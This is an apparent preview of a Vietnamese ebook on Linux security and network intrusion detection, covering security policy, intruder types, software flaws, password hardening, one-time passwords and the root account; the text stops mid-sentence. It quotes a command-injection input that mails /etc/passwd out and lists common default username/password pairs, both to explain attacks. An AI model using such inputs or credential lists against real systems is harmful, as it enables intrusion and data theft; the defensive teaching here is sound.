An toàn & bảo mật thông tin trên LINUX Hệ thống bảo mật & phát hiện xâm nhập mạng (Nids)

Tài liệu An toàn & bảo mật thông tin trên LINUX Hệ thống bảo mật & phát hiện xâm nhập mạng (Nids): ... Ebook An toàn & bảo mật thông tin trên LINUX Hệ thống bảo mật & phát hiện xâm nhập mạng (Nids)

doc74 trang | Chia sẻ: huyen82 | Lượt xem: 2573 | Lượt tải: 2download
Tóm tắt tài liệu An toàn & bảo mật thông tin trên LINUX Hệ thống bảo mật & phát hiện xâm nhập mạng (Nids), để xem tài liệu hoàn chỉnh bạn click vào nút DOWNLOAD ở trên
1.Lời nói đầu: Linux đã tạo ra một sự bùng nổ trong lĩnh vực tin học và ngày càng trở nên phổ biến hiện nay. Rất nhiều các công ty, tổ chức trên thế giới chấp nhận Linux như là một platform cho sản phẩm của họ, cũng như nhiều công ty, ISPs sử dụng máy chủ Linux như là các Internet gateway. Vấn đề an toàn an ninh cho hệ thống Linux ngày càng trở nên quan trọng và bức thiết hơn. Tài liệu này sẽ có một cái nhìn tổng quát về an toàn hệ thống và những hướng dẫn giúp tăng cường mức độ an toàn cho hệ thống Linux. Kể từ khi Linux được phát triển một cách rộng rãi và nhanh chóng, đặc biệt là trong các giao dịch kinh doanh quan trọng, an ninh là một vấn đề quyết định sự sống còn của Linux. Với hàng trăm công cụ bảo vệ sẵn có, người dùng Linux được trang bị tốt hơn để ngăn chặn và duy trì một hệ thống an toàn. Linux không những hoạt động tốt mà còn có những tính năng và sản phẩm liên quan cho phép xây dựng một môi trường tương đối an toàn. 1.1 Những nguy cơ an ninh trên linux Linux và các ứng dụng trên nó có thể không ít các lỗ hổng an ninh hơn những hệ điều hành khác. Theo quan điểm của một số chuyên gia máy tính, Linux có tính an toàn cao hơn các hệ điều hành của Microsoft, vì các sản phẩm của Microsoft không được xem xét kỹ lưỡng và chặt chẽ bằng các sản phẩm mã nguồn mở như Linux. Hơn nữa, Linux dường như là "miễn nhiễm" với virus máy tính (hiện tại đã có xuất hiện một vài loại virus hoạt động trên môi trường Linux nhưng không ảnh hưởng gì mấy đến người dùng Linux). Nhưng một hệ thống Linux được cấu hình không tốt sẽ tệ hơn nhiều so với một hệ thống Microsoft được cấu hình tốt !!! Khi có được một chính sách an ninh tốt và hệ thống được cấu hình theo đúng chính sách đó thì sẽ giúp bạn tạo được một hệ thống an toàn (ở mức mà chính sách của bạn đưa ra). Nhưng sự an toàn không phải là thứ có thể đạt được như một mục tiêu cuối cùng. Đúng hơn đó là tập hợp của những cách cài đặt, vận hành và bảo trì một hệ điều hành, mạng máy tính, ... Nó phụ thuộc vào các hoạt động hàng ngày của hệ thống, người dùng và người quản trị. Bạn phải bắt đầu từ một nền tảng ban đầu và từ đó cải thiện tính an toàn của hệ thống của bạn nhiều nhất có thể được mà vẫn đảm bảo các hoạt động bình thường của hệ thống. 1.2 Xem xét chính sách an ninh Kết nối vào Inernet là nguy hiểm cho hệ thống mạng của bạn với mức an toàn thấp. Từ những vấn đề trong các dịch vụ TCP/IP truyền thống, tính phức tạp của việc cấu hình máy chủ, các lỗ hổng an ninh bên trong quá trình phát triển phần mềm và nhiều nhân tố khác góp phần làm cho những hệ thống máy chủ không được chuẩn bị chu đáo có thể bị xâm nhập và luôn tồn tại những nguy cơ tiềm tàng về vấn đề an toàn trong đó. Mục đích của một chính sách an toàn hệ thống là quyết định một tổ chức sẽ phải làm như thế nào để bảo vệ chính nó. Để có được một chính sách an ninh hiệu quả, người xây dựng các chính sách này phải hiểu và có thể kết hợp tất cả các thông tin, yêu cầu, ...Khi một tình huống xảy ra nằm ngoài dự kiến, chẳng hạn một sự xâm nhập trái phép vào hệ thống của bạn, câu hỏi lớn nhất là "sẽ phải làm gì đây ?" Những sai sót trong chính sách an ninh không chỉ liên quan đến những kẻ xâm nhập, mà còn liên quan đến những vấn đề bình thường như thời tiết, thiên tai, cháy, nổ, hư hỏng thiết bị,... Do vậy, việc thiết lập một chính sách an ninh tốt cho việc giải quyết những sự cố phải được lên kế hoạch kỹ lưỡng, được xem xét và chứng nhận bởi người có quyền hạn trong công ty. Một chính sách an ninh tốt nên bao gồm các vấn đề sau : Chính sách phục hồi dữ liệu khi có sự cố Chính sách phục hồi hệ thống trong trường hợp hư hỏng thiết bị Chính sách, cách thức điều tra những kẻ xâm nhập trái phép Chính sách, cách thức điều tra khi công ty bị cáo buộc xâm nhập vào các hệ thống khác Cách thức, quy trình và nơi thông báo sự xâm nhập trái phép từ bên ngoài hay gây ra bởi các nhân viên của mình. Chính sách an ninh về mặt vật lý của hệ thống Chính sách bảo mật: Một điều quan trọng cần phải chỉ ra là bạn không thể thực hiện việc an toàn và bảo mật hệ thống nếu bạn chưa xác định được là cần phải bảo vệ những gì, và cho ai. Do vậy bạn cần phải có một chính sách bảo mật - đó là danh sách những gì mà bạn cho phép quan tâm đến và cũng như những gì mà bạn không cho phép quan tâm đến và dựa trên cơ sở đó bạn có thể có bất kỳ quyết định nào về việc bảo mật một cách chính xác. Chính sách cũng nên xác định rõ việc đáp lại của bạn các đối với vi phạm về việc bảo mật và an toàn. Bạn cũng nên để ý rằng những gì được đề ra khi xây dựng một chính sách bảo mật sẽ phụ thuộc vào việc bạn đưa ra các định nghĩa về bảo mật. Sau đây là các câu hỏi sẽ cung cấp một số các chỉ dẫn tổng thể liên quan: - Làm thế nào bạn phân biệt được các thông tin là nhạy cảm và bí mật? - Hệ thống có nên chứa đựng các thông tin nhạy cảm và bí mật không? - Chính xác là bạn cần phải đề phòng ai? - Những người sử dụng từ xa có thật sự cần thiết truy cập tới hệ thống của bạn không? - Mật khẩu và giải pháp mã hóa đã đủ bảo vệ hệ thống chưa? - Bạn có cần phải truy cập Internet không? - Bạn muốn cho phép hệ thống của bạn có thể được truy cập từ Internet bao nhiêu lần? - Bạn sẽ làm gì khi phát hiện ra một sự vi phạm trong việc bảo mật của bạn? 2 Giới thiệu chung: 2.1 Ai đang phá hoại hệ thống: Có hai từ để chỉ kẻ xâm nhập hacker và cracker. Một hacker là chỉ người thích vào một hệ thống nào đó. Một hacker tốt bụng (benign hacker) là người thích tự xâm nhập vào máy của mình để hiểu rõ những gì đang diễn ra bên trong và nó đang hoạt động như thế nào. Một hacker hiểm độc (malicious hacker) là người thích vào hệ thống của người khác. Benign hacker muốn ngăn chặn tất cả các cuộc phá hoại của các hacker và từ đó ra đời khái niệm cracker. Thật không may, đã không giống như người ta mong muốn, và trong tất cả các trường hợp người ta đều dùng một từ để chỉ đó là kẻ xâm nhập ‘intruder’. Kẻ xâm nhập có thể chia làm 2 loại: Từ bên trong và bên ngoài. Từ bên ngoài: outsiders: Xâm nhập từ bên ngoài mạng, tấn công webserver, chuyển thư spam qua mailserver, … chúng cũng có thể tấn công fire wall để tấn công những máy bên trong mạng. Kẻ xâm nhập từ bên ngoài có thể đến từ internet, đường dial-up, physical break-ins, hoặc từ một đối tác (vender, customer, reseller,…) Từ bên trong ‘insiders’ Kẻ xâm nhập có một tài khoản hợp pháp trong hệ thống mạng và muốn tăng quyền ưu tiên của mình để phục vụ những mục đích khác nhau. 2.2 Những kẻ xâm nhập vào hệ thống của ta như thế nào -Physical Intrusion: Nếu kẻ xâm nhập có được kết nối vật lý đến hệ thống ( họ có thể sử dụng bàn phím hay là một phần nào đó của hệ thống) và họ có thể vào trong hệ thống. - System Intrusion Kiểu tấn công này xảy ra khi kẻ đột nhập đã có một tài khoản trên hệ thống, nếu hệ thống không có những chỗ vá bảo mật mới nhất. - Remote Intrusion hacker sẽ xâm nhập vào hệ thống thông qua mạng. Kẻ xâm nhập không cần một đặc quyền nào. Có rất nhiều cách tấn công kiểu này. Kẻ xâm nhập sẽ khó khăn hơn rất nhiều khi có một firewall. Chú ý là hệ thống phát hiện xâm nhập mạng có liên quan rất chặt với xâm nhập từ xa. 2.3 Tại sao kẻ xâm nhập có thể vào được hệ thống của chúng ta Phần mềm luôn có lỗi. Những người quản trị hệ thống và các lập trình viên theo dõi và nắm được tất cả các lỗi có thể có. Còn những kẻ xâm nhập chỉ cần tìm một lỗi để có thể xâm nhập vào hệ thống. 2.3.1 Những lỗi phần mềm Tràn bộ đệm Hầu như tất cả các lỗ hổng bảo mật đều do lỗi này. Một ví dụ điển hình là các lập trình viên đều đặt 256 ký tự cho trường username login. Bình thường thì các lập trình viên sẽ nghĩ không có ai chọn username quá như vậy cả. Nhưng các hacker sẽ nghĩ, chuyện gì xảy ra nếu tôi nhập vào quá giới hạn đó ? Những ký tự thêm vào sẽ đi đâu ? họ sẽ gửi 300 ký tự bao gồm cả mã thực thi trên server và thế là họ đã vào được. Hacker đã tìm những lỗi như vậy bằng rất nhiều cách. Đầu tiên phải kể đến là mã nguồn cho rất nhiều dịch vụ đều có trên mạng. Hacker sẽ nghiên cứu những mã nguồn và tìm lỗi tràn bộ đệm. Thứ hai là hacker có thể xem chính những chương trình đó mặc dù đọc mã assembly là rất khó. Thứ ba là hacker có thể kiểm tra bằng rất nhiều dữ liệu ngẫu nhiên. Vấn đề này chủ yếu gặp khi những chương trình được viết bằng ngôn ngữ C/C++, rất hiếm trong những chương trình viết bằng Java. Unexpected combinations Chương trình thường được xây dựng dựa trên rất nhiều lớp mã, và hệ điều hành có thể coi là lớp dưới cùng. Kẻ xâm nhập có thể vào các dữ liệu có thể không có ý nghĩa với lớp này nhưng mà lại có ý nghĩa với lớp khác. Ngôn ngữ nổi tiếng về xử lý dữ liệu vào của người dùng là PERL. Chương trình viết bằng PERL thường gửi dữ liệu vào này đến các chương trình xa hơn. Một cách hacker thường gặp là vào dữ liệu giống như : “| mail < /etc/passwd” Mã này sẽ thực thi bởi vì PERL sẽ hỏi hệ điều hành chạy chương trình thêm vào cùng với các dữ liệu đó. Tuy nhiên hệ điều hành đã chạy chương trình mail và password file đã được gửi cho kẻ xâm nhập. Unhandled input Hầu hết các chương trình được viết để vào dữ liệu bằng tay. Và các lập trình viên không tính đến chuyện gì xảy ra nếu nó không đúng là như vậy. Race conditions tất cả các hệ thống ngày nay đều xử lýđa nhiệm và đa luồng. Họ có thể chạy nhiều chương trình một lúc. Sẽ nguy hiểm nếu hai chương trình cùng truy nhập vào cùng một dữ liệu trong cùng một thời điểm. race condition xảy ra khi chương trình A đọc 1 file vào bộ nhớ, và thay đổi nó ở trong bộ nhớ. Tuy nhiên trước khi A ghi lại file thì chương trình B đã thực thi xong quá trình thay đổi file . Bây giờ thì chương trình A ghi lại file và tất cả các thay đổi của B sẽ bị mất. Vì vậy cần phải có thứ tự nối tiếp thích hợp, race condition cũng rất hiếm khi xảy ra. Kẻ xâm nhập thường phải thử hàng nghìn lần trước khi có thể vào được hệ thống. 2.3.2 Cấu hình hệ thống : những cấu hình ngầm định: Hầu hết các hệ thống đều được gửi đến cho khách hàng với cấu hình ngầm định, một cấu hình dễ sử dụng. Thật không may, dễ sử dụng đồng nghĩa với dễ xâm nhập. Lazy administrators Có một con số đáng kinh ngạc những máy hoặc hệ thống mà không có mật khẩu cho root hay administrator. Đó là điều đầu tiên mà kẻ xâm nhập sẽ thử khai thác. Hole creation Hầu như tất cả các chương trình đều được cấu hình để chạy ở chế độ không bảo mật. Đôi khi người quản trị vô tình tạo lỗ hổng cho hệ thống của mình. Người quản trị nên tắt tất cả mọi dịch vụ mà không sử dụng tới, cấp các quyền cho các user vừa đủ cho các công việc của họ. Trust relationships Kẻ xâm nhập thường khai thác các liên kết tin tưởng trên mạng. 2.3.3 Password cracking Really weak passwords khi pass quá đơn giản để đoán ra khi mà người đó có quan hệ với bạn. Ví dụ đa số người dùng lấy mật khẩu là tên của mình, tên vợ, tên người yêu, hay số nhà, số điện thoại, … tất cả đều thể hiện mật khẩu của bạn quá "yếu". Dictionary attacks tấn công dựa vào các từ có trong từ điển. Hacker có thể thử lần lượt các từ có trong từ điển và các hoán đổi cho đến khi đúng password. Brute force attacks tương tự kiểu tấn công sử dụng từ điển. Nó sử dụng tất cả các khả năng kết hợp của các ký tự. 3 Giải pháp an ninh: 3.1 Mật khẩu : 3.1.1Bảo mật BIOS - Đặt mật khẩu khởi động: Có một lời khuyên rằng bạn nên vô hiệu hóa việc khởi động (booting) từ ổ đĩa mềm đồng thời đặt các mật khẩu (password) trên các đặc tính của BIOS. Bạn có thể xem xét tài liệu hướng dẫn về BIOS của bạn hay xem nó khởi động ở lần kế tiếp như thế nào. Việc vô hiệu hóa khả năng khởi động từ các ổ đĩa mềm và có cài đặt một mật khẩu để truy cập tính năng BIOS sẽ cải tiến tính an toàn bảo mật hệ thống của bạn. Điều này sẽ làm cho một số người không mong đợi cố gắng thay đổi tính năng BIOS để cho phép khởi động từ ổ đĩa mềm hay khởi động từ máy server luôn bị nhắc nhở mật khẩu. 3.1.2Chọn một mật khẩu (password) đúng: Điểm bắt đầu cho một chuyến tham quan về Linux General Security là mật khẩu. Nhiều người lưu giữ các thông tin và các tập tin đáng giá của họ trên một máy tính, và chỉ có một việc là ngăn chặn những người khác khi muốn xem các thông tin hay tập tin đó thì yêu cầu gõ vào một chuỗi dài tám ký tự hoặc nhiều hơn thường được gọi là một mật khẩu. Không như mọi người đã nghĩ, không thể có một mật khẩu nào không giải được. Với thời gian và công sức, tất cả mật khẩu đều có thể được đoán ra, kể cả việc dùng các mưu mẹo trong cuộc sống hay áp lực. Dùng những mưu mẹo trong cuộc sống để có được các mật khẩu và các phương pháp truy cập khác vẫn là cách phổ biến nhất và dễ nhất để giành được quyền truy cập tới các tài khoản và các máy server. Chạy một chương trình bẻ khóa mật khẩu mỗi tuần một lần dựa trên hệ thống của bạn là một ý tưởng hay. Việc này giúp bạn tìm và thay thế các mật khẩu mà nó dễ dàng được đoán ra hay có hiệu lực kém. Cũng thế, một cơ chế kiểm tra mật khẩu là nên có để loại bỏ những mật khẩu kém hiệu lực khi lần đầu tiên chọn một mật khẩu hay thay đổi một mật khẩu cũ. Chúng ta không nên chấp nhận một mật khẩu mới với chuỗi ký tự là các từ dễ hiểu, hoặc là tất cả các ký tự đều có định dạng in hay thường giống nhau, hoặc không chứa đựng các số hay các ký tự đặc biệt. Chúng ta nên tuân theo các nguyên tắc sau để tạo mật khẩu một cách hiệu quả: - Có chiều dài ít nhất là sáu ký tự, được ưa chuộng nhất là tám ký tự trong đó có ít nhất một ký tự số hay ký tự đặc biệt. - Chúng phải không tầm thường, một mật khẩu tầm thường là một mật khẩu dễ dàng đoán ra và nó thường dựa trên tên, họ, nghề nghiệp hoặc một số đặc biệt cá nhân khác của người sử dụng. - Chúng nên có hiệu lực trong một giai đoạn, yêu cầu thay đổi mật khẩu mới sau một thời gian đã định. - Chúng nên được hủy bỏ hay tạo lại sau khi có một số lần thử không thành công. Chiều dài mật khẩu: Chiều dài của mật khẩu tối thiểu có thể chấp nhận đựoc mặc định khi bạn cài đặt hệ thống Linux là 6. Điều này nói lên rằng khi một người sử dụng mới thì được phép truy cập trên máy server, chiều dài mật khẩu của người sử dụng đó sẽ có tối thiểu là 6 ký tự và nó bao gồm các ký tự, ký số, ký tự đặc biệt v.v... Như thế vẫn chưa đủ mà nó phải là 8. Để ngăn chặn những người có tư tưởng không chú trọng đến bảo mật và bắt buộc họ phải dùng chiêu dài password tối thiểu 8 ký tự, người quản trị hệ thống cũng có thể hiệu chỉnh tập tin quan trọng "/etc/login.defs" và thay đổi dòng sau trở thành: PASS_MIN_LEN 6 trở thành PASS_MIN_LEN 8 "login.defs" là tập tin cấu hình cho chương trình login. Bạn nên xem xét lại hay thay đổi nội dung tập tin này cho phù hợp với hệ thống riêng biệt của bạn. Đây là nơi mà bạn đặt các cài đặt chính sách bảo mật khác (giống như sự mặc định hết hạn của mật khẩu hay chiều dài tối thiểu mật khẩu có thể chấp nhận). 3.1.3 Default password Các nhà sản xuất hay các sản phẩm đều luôn có những mật khẩu ngầm định lúc đầu, nếu người quản trị chưa thay đổi chúng thì sẽ là kẽ hở để các hacker có thể thử đầu tiên. Chúng thường là:root root, root system, sys sys, sys system, daemon daemon, uucp uucp, tty tty, test test, unix unix, unix test, bin bin, adm adm, adm admin, admin adm, admin admin, sysman sysman, sysman sys, sysman system, sysadmin sysadmin, sysadmin sys, sysadmin system, sysadmin admin, sysadmin adm, who who, learn learn, uuhost uuhost, guest guest, host host, nuucp nuucp, rje rje, games games, games player, sysop sysop, root sysop, demo demo, … 3.1.4 Tăng tính an toàn của mật khẩu và mã hoá: Mật khẩu trên hệ thống *nix được lưu trong file /etc/passwd, một file chứa các tên người sử dụng, UIDs, GIDs, và các mật khẩu được mã hoá cho người sử dụng trên hệ thống. Ngoài ra, file này còn lưu các thông tin khác, như tên đầy đủ của người sử dụng, đường dẫn thư mục, hay hệ thống shell. Bất kỳ ai truy cập hệ thống cũng có thể hiển thị nội dung của file /etc/passwd.  Điều này tạo ra khả năng phá hoại với các user và những kẻ tấn công có thể tạo ra các lỗ hổng bảo mật để nhận được một bản sao của file mật khẩu này. Các hệ thống *.nix thường sử dụng thuật toán mã hoá (như thuật toán DES) để tạo ra các bảng băm mật khẩu. DES sử dụng thuật toán mã hoá 56 bit. Với thuật toán này, DES đã được sử dụng như thuật toán mã hoá phổ biến trước đây. Tuy nhiên, theo thời gian, khi phần cứng phát triển và giá thành thiết bị rẻ đi, thuật toán này đã trở nên dễ dàng giải mã và tạo lại mã. Vì vậy, với các hệ thống tốc độ nhanh sẽ việc crack các mật khẩu không phải quá khó.Ví dụ: l0phtCrack có thể sử dụng để crack các mật khẩu của Windows, chương trình crack của Alec Mufet có thể sử dụng để crack mật khẩu hệ thống *.nix. Việc phá mã đã được phát triển theo thời gian, được viết từ năm 1991 và hiện tại nó đã được phát triển đến phiên bản 5.0a. Việc phá mã có thể được cấu hình để tương thích với bất kỳ môi trường nào; các file cấu hình có thể được sửa đổi hỗ trợ cho các định dạng file mật khẩu khác nhau, loại thuật toán mã hoá khác nhau, ... Việc phá mã sử dụng danh sách từ điển như nền tảng cho việc phá mã; các file từ điển này cũng có thể được cấu hình lại một cách dễ dàng. Nói chung, để liệt kê danh sách cấu trúc thư mục cho việc thử chương trình, bạn cũng có thể cấu hình tập từ điển hay các luật tạo mã  như một phần trong việc phá mã. Các luật này có thể bao gồm các phương thức như gắn trước hay sau các ký tự vào các từ chuẩn, gấp đôi hay đảo ngược các từ, thay đổi các ký tự từ thường sang hoa ..., hay thay thế một từ này bằng một từ khác. Vậy làm cách nào để bảo vệ các mật khẩu trên hệ thống *.nix trong khi file /etc/passwd là file có thể đọc và sự phát triển ồ ạt của các công cụ crack mật khẩu. Một vài phương thức cải thiện mật khẩu đã được thực hiện cho phương thức an toàn mật khẩu trong hệ thống *.nix. Đầu tiên được giới thiệu là loại mật khẩu bóng (shadow password). Việc chứa các bảng băm mật khẩu trong file đọc được /etc/passwd không an toàn, vì vậy các bảng băm này được đưa vào trong một file riêng rẽ, file /etc/shadow. File này chỉ có thể đọc bởi quyền root và vì vậy có khả năng bảo mật tốt hơn. Hai file này được sử dụng cùng nhau để cung cấp việc chứng thực cho user. Các file mật khẩu bóng đã trở nên thông dụng và được sử dụng mặc định cho rất nhiều hệ thống *.nix như Sun Solaris. Tuy nhiên, chúng không phải là mặc định của toàn bộ các hệ thống. Chẳng hạn với Red Hat Linux, việc sử dụng mật khẩu bóng được lựa chọn trong các bước cài đặt hệ thống. Các mật khẩu bóng nên được sử dụng ở bất cứ đâu trong hệ thống. Thứ hai, một số phiên bản của *.nix hiện tại cung cấp thuật toán mã hoá tốt hơn, (có thể sử dụng tuỳ chọn trong mã hoá), sử dụng thuật toán bảng băm MD5 thay thế cho DES. Passwd là lệnh mặc định sử dụng cho việc thay đổi mật khẩu trên các hệ thống *.nix. Lệnh này cũng hỗ trợ việc kiểm tra tính an toàn tối thiếu đối với các mật khẩu của người sử dụng nhưng không hỗ trợ tính năng đòi hỏi người sử dụng thay đổi mật khẩu của họ sau một khoảng thời gian. Ví dụ lệnh passwd trong Sun Solaris hỗ trợ tính năng trên, và cũng tạo ra các kiểm tra sau: Độ dài tối thiểu, mà nhà quản trị có thể chỉ định (mặc định là 6 ký tự). Chú ý rằng bất chấp độ dài mật khẩu, chỉ có 8 ký tự đầu được xem cho mục đích chứng thực.  Phải chứa ít nhất 2 ký tự (hoa hoặc thường) và một số hay biểu tượng. Không thể là tên, đảo ngược tên truy cập hệ thống, hay bất cứ việc dịch chuyển ký tự từ tên truy cập hệ thống. Các mật khẩu mới phải có ít nhất 3 ký tự khác so với mật khẩu cũ. npasswd, được viết bởi Clyde Hoover, thực hiện các kiểm tra sau: Kiểm tra từ vựng (độ dài tối thiểu); không cho phép các ký tự lặp lại hay các mẫu mật khẩu thông thường như các con số thường gặp; đòi hỏi mật khẩu là sự pha trộn giữa con số, ký tự, biểu tượng Kiểm tra file passwd (không cho phép lấy thông tin từ file passwd). Kiểm tra từ điển (không cho phép các mật khẩu được tạo từ các từ được tìm thấy trong các file từ điển cấu hình). Kiểm tra thời điểm (tuỳ chọn - không cho phép sử dụng các mật khẩu đã được sử dụng gần đây). Kiểm tra địa phương (tuỳ chọn - site cấu hình - các kiểm tra chỉ định; mặc định là không cho phép nhiều tên hostname trong file .rhosts). Anlpasswd của viện nghiên cứu quốc gia Argonne về chuyên ngành thuật toán và khoa học máy tính, là một chương trình viết bằng ngôn ngữ Perl. Sự cải thiện chính của nó là hỗ trợ cho môi trường NIS và kiểm tra các mật khẩu user chống lại danh sách từ điển với khoảng 13 tỷ từ khi được tạo bởi chương trình crack. Passwd+, được viết bởi Matt Bishop, là một chương trình rất phức tạp, mà giúp bạn cấu hình một số kiểm tra (dựa trên mô hình mẫu, xâu, số hay ký tự). Mỗi mật khẩu phải thoả mãn toàn bộ các kiểm tra này.Nếu lựa chọn thay thế passwd với các giá trị này (nhìn chung là một ý tưởng tốt) cần cần xem xét một số điểm. Đầu tiên, kiểm tra liệu các giá trị passwd của bạn có hỗ trợ sử dụng mật khẩu bóng; ngoài các file mật khẩu bóng, bạn phải dựa vào độ mạnh của thuật toán mã hoá và độ lớn của mật khẩu (ví dụ như loại bỏ các mật khẩu yếu) để bảo vệ bạn. Thứ hai, nếu bạn đang chạy NIS hay NIS++, đảm bảo rằng phần mềm hỗ trợ chỉ một môi trường; không phải toàn bộ. Các mật khẩu bóng có thuật toán mã hoá mạnh, và có bộ lọc mật khẩu tốt hơn, cung cấp tính năng bảo vệ tốt hơn bằng cách tạo ra độ khó hơn cho kẻ tấn công duy trì và crack mật khẩu của người sử dụng. 3.1.5 Các mối đe doạ khác và các giải pháp Các mật khẩu tại hệ thống hiện tại có thể được bảo mật tốt hơn, nhưng mối đe doạ vẫn tồn tại. Điều này đặc biệt đúng với trong các môi trường hệ thống *.nix, có rất nhiều mối đe doạ này dựa trên các chương trình TCP/IP và các giao thức mà không xây dựng các thuật toán mã hoá hay cơ chế bảo vệ khác. Ví dụ: telnet và các lệnh r* (rsh, rlogin,..) gửi các mật khẩu dưới dạng text. Việc bảo vệ các mật khẩu được mã hoá được chứa trên hệ thống sẽ không còn ý nghĩa nhiều khi bạn truyền các mật khẩu này dưới dạng text qua mạng. Các giao thức không bảo mật nên được đặt với các giao thức bảo mật thay thế. Sử dụng secure shell - ssh, mà các thông tin được mã hoá truyền tới đầu cuối, được thiết kế thay đổi telnet và rsh; secure copy (scp) có thể được sử dụng để thay thế ftp và rcp. OpenSSH là một sản phẩm miễn phí được phát triển như một phần trong toàn bộ dự án OpenBSD. Nó gồm có ssh, scp và các công cụ ssh. Các giá trị BSD (OpenBSD, FreeBSD, BSDi) và một số các phiên bản Linux (Debian, SuSE, RedHat, Mandrake). Hiện tại, OpenSSH có thể được sử dụng như phần thêm vào cho mỗi hệ thống *.nix.  Các giải pháp khác Do sự đa dạng đối với mật khẩu của các hệ thống *.nix cả ngay trong hệ thống và khi truyền thông, một số phương pháp khác đã được thực hiện để làm tăng tính an toàn cho mật khẩu. Một trong những phương pháp thông dụng nhất là mô tả các mật khẩu sử dụng một lần và sau đó được hủy bỏ. Các hệ thống này có 2 thuận lợi sau: Chúng hướng tới thực thi các truyền thông mật khẩu mang tính bảo mật, hầu hết sử dụng việc mã hoá trong khuôn dạng của một giao thức dạng challenge/response, vì vậy các mật khẩu không bao giờ được truyền trên mạng.  Vì mật khẩu được sử dụng chỉ một lần, thậm chí nếu chúng bị lấy đi bởi kẻ tấn công, nó cũng không thể sử dụng lại. Các hệ thống mật khẩu sử dụng 1 lần (OTP - Once-Time Password) có thể được thực hiện bởi phần cứng - như là các thẻ smart card - hay trong phần mềm. Trong khi các giải pháp thương mại tồn tại, chúng ta hãy xét đến một số các chương trình dạng miễn phí. S/KEY, một trong những hệ thống dựa theo mô hình OTP, được viết bởi Bellcore (hiện tại viết bởi Telcordia) và được phát triển như một phần mềm mã nguồn mở. Bellcore gần đây đã bắt đầu phát triển phiên bản thương mại, nhưng phiên bản miễn phí vẫn được cung cấp. Khi S/KEY trở thành sản phẩm thương mại, phần mã nguồn mở của chương trình này vẫn được quan tâm và phát triển thành sản phẩm OPIE. Cả S/KEY và OPIE sử dụng một hệ thống challenge/response. Trong mỗi trường hợp, mật khẩu của người sử dụng được chứa, trong dạng mẫu được mã hoá, trên hệ thống máy chủ. Mỗi hệ thống sử dụng bộ mã tạo mật khẩu chung dựa theo thông tin người sử dụng cung cấp lúc ban đầu và liên kết với một số tuần tự. Mật khẩu đầu tiên của người sử dụng được tạo bằng cách đặt thông tin của người sử dụng đó qua một thuật toán bảng băm (như thuật toán MD4 cho S/KEY, MD5 cho OPIE) với số N mật khẩu được tạo. N là số lần trong dãy bảng băm để người sử dụng có thể truy cập. Mật khẩu kế tiếp được tạo bằng cách giảm N đi 1 và đặt thông tin đó trong bảng băm số N-1, và tiếp tục như vậy. Với mục đich chứng thực, khi một người sử dụng đăng nhập vào hệ thống, anh ta sẽ gửi tên truy nhập của anh ta tới máy chủ. Máy chủ sẽ trả lời theo phương thức challenge, bao gồm tạo số tuần tự của người sử dụng. Sau khi người sử dụng gõ mật khẩu và gửi tới máy chủ, nếu mật khẩu trùng với mã mà máy chủ đã tạo trước đó một khoảng thời gian, người sử dụng đó được chấp nhận truy cập hệ thống. (Chú ý rằng, mật khẩu này chỉ có giá trị trong một khoảng thời gian nhất định. Và trong khoảng thời gian này, người sử dụng sẽ không thể đang nhập lại nếu hệ thống không được thiết lập lại hay khởi tạo lại). S/KEY và OPIE đã thực sự được thiết kế để bảo vệ các kẻ tấn công như replay attack, vì thông tin mật khẩu chỉ có giá trị cho mỗi phiên làm việc, nó không thể bị lây bởi một công cụ mạo danh hay sử dụng lại tại thời điểm khác. Tuy nhiên, một thông tin mã hoá yếu cũng có thể làm hệ thống như S/KEY hay OPIE có thể có lỗ hổng như một mật khẩu yếu. Vì vậy, ban đầu, chúng ta cần quay lại nơi mà chúng ta xuất phát: đó chính là sử dụng các mật khẩu có độ dài đủ lớn.  3.1.6 Các công cụ: An toàn của mật khẩu trên các hệ thống *.nix bao gồm 3 khía cạnh chính: Đầu tiên, bạn phải tạo các mật khẩu và các bảng băm với độ khó cho các kẻ tấn công khó có thể phá mã được. Bạn có thể thực hiện điều này sử dụng các file mật khẩu, như hạn chế quyền truy cập hơn là thay đổi file chuẩn /etc/passwd file. Thứ hai, bạn phải mã hoá mật khẩu khi truyền tin. Thay thế các giao thức sử dụng việc chứng thực dạng text với các dạng chứng thực được mã hoá. Thứ ba, đảm bảo rằng thuật toán mã hoá, bản thân nó là an toàn. Không có phương thức mã hoá nào là hoàn hảo; Để sử dụng thuật toán mã hoá mạnh nhưng nơi có thể (MD5 hay MD4 hay thủ tục mã hoá crypt). Thậm chí khi bạn sử dụng thuật toán mã hoá, các mật khẩu mạnh vẫn là phương thức tốt nhất bảo vệ việc phá mã hay đoán mật khẩu. Cuối cùng, việc kiểm tra các mật khẩu của bạn (ví dụ: với quyền truy cập) là một trong những cách tốt nhất để nâng cao độ an toàn cho hệ thống của bạn. Các công cụ như Crack rất hữu ích  không chỉ cho những kẻ tấn công mà còn cho cả những người quản trị an toàn hệ thống. Toàn bộ các công cụ được liệt kê trong bảng sau: Công cụ kiểm tra Phiên bản hiện tại Có sẵn tại Môi trường chạy Crack 5.0a Trung tâm nghiên cứu giáo dục thuộc trường đại học Purdue (CERIAS)   *nix; Solaris, Linux, FreeBSD, NetBSD, OSF, and Ultrix anlpasswd 2.3 Có rất nhiều Website cung cấp, gồm cả server FTP của CERIAS *nix npasswd Thuộc trường đại học Texas tại Austin và tại một số website khác    BSDI, FreeBSD, NetBSD, SunOS, UNIX, and Ultrix passwd+ 5.0a Trường đại học Dartmouth và một số website khác. Địa chỉ download: ftp://ftp.dartmouth.edu/pub/security/ *nix S/KEY 1.1 (phẩn mềm miễn phí)  Bellcore FTP site FTP của site Bellcore, theo địa chỉ: ftp://thumper.bellcore.com/pub/nmh/ AIX, BSDI, DG-UX, Digital UNIX/Alpha, FreeBSD, HP-UX, IRIX, Linux, NetBSD, OpenBSD, SCO, Solaris, SunOS, and Ultrix OPIE 2.32 The Inner Net ( *nix 3.2 Cấu hình hệ thống 3.2.1 Tài khoản root: Tài khoản root là được gán quyền nhiều nhất trên một hệ thống Unix. Taì khoản "root" không có một hạn chế bảo mật nào. Điều này có nghĩa là hệ thống cho rằng bạn biết những gì bạn đang làm, và sẽ thực hiện chính xác những gì bạn yêu cầu - không có câu hỏi nào được đặt ra về những điều đó. Chính vì vậy, nó rất rễ dàng với một câu lệnh nhập sai có thể sẽ xóa sạch tất cả các tập tin hệ thống. Vì vậy khi sử dụng tài khoản này bạn phải tuyệt đối cẩn thận tránh những lỗi lầm đáng tiếc. Để phục vụ cho các lý do bảo mật không cần phải log-in vào máy server của bạn như là "root". Hơn nữa, nếu bạn không có làm việc trên máy server của bạn, thì đừng nên vào và ra khỏi hệ thống như là "root"- điều này là 